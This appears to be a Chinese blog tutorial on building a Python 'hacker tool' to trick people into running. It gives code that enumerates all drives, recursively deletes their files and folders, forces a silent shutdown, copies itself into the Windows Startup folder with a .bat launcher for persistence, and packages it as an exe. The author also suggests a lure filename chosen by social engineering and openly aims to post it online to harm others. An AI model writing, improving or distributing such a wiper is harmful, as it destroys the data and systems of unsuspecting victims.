Py学习  »  Python

手把手教你使用Python库打造一款简易黑客工具

Python程序员 • 3 年前 • 264 次点击  


/1 前言/

    随着信息化时代的到来,人们对互联网接触越来越广泛,这样就使得很多人对于黑客充满向往,企图通过网络虚拟世界来做一些有趣的事情。

    所以今天我们要说的工具就是:怎样利用Python做一个黑客软件。众所周知,一般的黑客对于黑操作系统一般常用手法莫过于发送木马客户端,修改系统注册表,组策略,获得开机启动权限,入侵电脑然后对电脑的文件进行修改来达到不可告人的目的。


/2 项目目标/

    今天我们要讲的就是最基础的,怎样获得开机启动,先给大家讲最基础添加文件到系统启动项的文件夹中,当然更加高端点也可以使用注册表添加,这里不在累述。


/3 项目准备/

    使用sublime text 3编写 Python 代码,并一步一步实现相应过程。


/4 实现步骤/

1、首先我们通过社会工程学进行一个分析,准备一个足够吸引人的exe文件名称好让人第一眼看到就想点击它的欲望;等到别人点击了之后了这个程序是没有任何响应的,那么有的人也许会多点几下程序,当然这也对程序没有任何影响。

2、首先我们得获取系统盘盘符,这个我们可以使用os模块通过对环境变量的字典键值来得到当前系统盘盘符。

import osprint(os.getenv('SystemDrive'))

3、得到盘符后我们先可以将他的目录下的文件和文件夹打印出来。

aa=os.getenv('SystemDrive')os.chdir(aa+'\\\\') \#修改当前目录os.system('tree\>\>1.txt') 打印树形目录并将其结果保存到1.txt文件中

4、然后我们只需要删除盘符下的文件夹和文件即可。所以我们需要用到 os 的walk遍历当前盘符下的所有文件,然后使用remove方法和rmdir方法,一个是删除文件另一个是删除目录。由于没有虚拟机于是自己创建一个目录放了若干文件夹和文件,效果都一样。

path = r"C:\\Users\\Administrator\\Desktop\\sa"

os.walk() 方法用于通过在目录树中游走输出在目录中的文件名,向上或者向下。os.walk() 方法是一个简单易用的文件、目录遍历器,可以帮助我们高效的处理文件、目录方面的事情。

语法:

os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])

参数:

top -- 根目录下的每一个文件夹(包含它自己), 产生3-元组 (dirpath, dirnames,filenames)【文件夹路径, 文件夹名字, 文件名】topdown --可选,为True或者没有指定一个目录的3-元组将比它的任何子文件夹的3-元组先产生 (目录自上而下)。
如果topdown为 False, 一个目录的3-元组将比它的任何子文件夹的3-元组后产生(目录自下而上)。
onerror -- 可选,是一个函数; 它调用时有一个参数, 一个OSError实例。报告这错误后,继续walk, 或者抛出exception终止walk。

for root,dirs,files in os.walk(path,topdown=False):\#遍历目录
for name in files:
os.remove(os.path.join(root, name))
for name in dirs:
os.rmdir(os.path.join(root, name))




其实还有一种方法,就是shutil.rmtree(path)但是他会删除目录本身及所有子文件夹和文件,也就是说他会删除sa这个目录,所以不推荐这种搞法,因为我们要删除的是盘符下的文件夹或者文件,这样做很容易导致未知的错误。

5、得到了系统盘符之后,我们还想得到系统其他盘符那该怎么办了,不着急,我们可以试试下面这种方法。

import os
import string
def get_pan():
disk_list=[] \#磁盘盘符列表
for p in string.ascii_uppercase: \#遍历所有大写字母
disk=p+':'
if os.path.isdir(disk): \#看磁盘盘符名用了哪些大写字母开头
disk_list.append(disk) \#添加到盘符列表
return disk_list
print(get_pan()) #打印盘符


结果很完美,跟我预想的一模一样,连u盘盘符也打印出来了。

6、光打印一个磁盘目录文件好像显得有点美中不足,于是我决定所有磁盘目录文件都整出来,老样子,还是树形结构。



这样每个盘的目录结构就都保存在对应盘的2.txt文件中了。

7、然后我们将会把这些盘符下的目录文件全部删除,当然遍历删除啦,为了模拟真实场景我决定用几个带有多层文件和目录的文件夹来代替盘符,这里我就不一一截图了,直接上代码,老样子。

g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']
for y in g:
for root, dirs, files in os.walk(y,topdown=False):\#遍历目录
for name in files:
os.remove(os.path.join(root, name))
for name in dirs:
os.rmdir(os.path.join(root, name))

ok,我们已经将文件及目录全部删除。

8、删除文件后了系统自然无法正常运行,于是这个时候我们可以使电脑关机。shutdown ,我的不二选择,这里我们调用命令:

os.popen('shutdown /f /sg')

参数说明:

/f 强制关闭正在运行的应用程序而不事先警告用户。/sg 关闭计算机。在下一次启动时,重启任何注册的应用程序。

这样就可以在没有任何提示下关机了,神不知鬼不觉,哈哈哈。

9、当然这个操作得是基于文件操作结束后进行的,再次进行优化。

g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']
for y in g:
try:
#遍历目录
for root, dirs, files in os.walk(y,topdown=False):
for name in files:
os.remove(os.path.join(root, name))
for name in dirs:
os.rmdir(os.path.join(root, name))
time.sleep(1)
except Exception:
pass
finally:
os.popen('shutdown /f /sg')\#不弹出黑窗口

我们把程序发到网上,运气好别人点击了,得让那个文件在自启动目录,然后每次开机那个程序才会跟着启动。但是这里有个弊端,你想让别人把那个文件放到启动目录里去,那简直是做梦了,这些操作当然交给万能的Python就能一步搞定啦。我们可以在点击这个文件之后快速生成一个bat文件和一个EXE文件或者Python文件。

10、在这里我以Python 和bat为主,因为我还没打包的缘故。

自启动目录路径:
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
import shutil
shutil.copyfile('gc.py',r'C:\\ProgramData\\Microsoft\\Windows\\StartMenu\\Programs\\StartUp\\gc1.py')

在这里我们用到shutil这个模块,专门操作文件目录的Copyfile方法是将当前资源文件复制到另一个目录下的文件,但是需要注意一点的是,两个文件名不可一样,否则会报错,虽然他可以复制,如果你非得用这个方法,记得抛异常。

11、好了,现在可以了,效果如下所示。




12、然后我们还需要一个bat来启动它,因为没有bat他是需要借助外力去点击才有效果的,有了bat就可以自动启动。

建立一个后缀为bat的文件,内容如下:

同样的。我们还是需要我们的Python来智能产生bat文件那么该怎样写了,很简单,有人问我为什么是pythow不是Python,因为前者运行后没有黑窗口,当然不管是创建bat文件还是复制程序文件都最好在删除之后调用,有人问我,你的文件都删除完了,留那一个有何用,哈啊哈哈,我只能说,仅供娱乐。。。

13、回到正题,程序文件只需创建一个就ok。



14、这样就算是大功告成了,然后我们也可以把Python文件打包,这样bat文件里就不需要写解释器了,因为有的目标电脑可能没有Python环境,这个时候需要我们用pyinstaller打包一下。打包好了之后,直接把bat文件内容改为:

start gc.exe

就可以啦~~


打包成exe文件之后了,就可以发布到网上嚯嚯别人啦,哈哈哈~~


/5 小结/

1、本文章基于Python库,获取盘符信息,之后使用命令强制删除盘符下文件和自动关机功能,将程序封装打包,可打造一款简易的“黑客”工具。

2、总的来说就是介绍Python各个系统相关模块的使用,以及一些cmd命令的使用,难度不大,可以用作平时练手时用,比起专业的黑客技术来说,这个是小巫见大巫了。




福利

入门Python的最强三件套《ThinkPython》、《简明Python教程》、《Python进阶》的PDF电子版已打包提供给大家,关注下方公众号,在后台回复关键字P3」即可获取。




Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/99267
 
264 次点击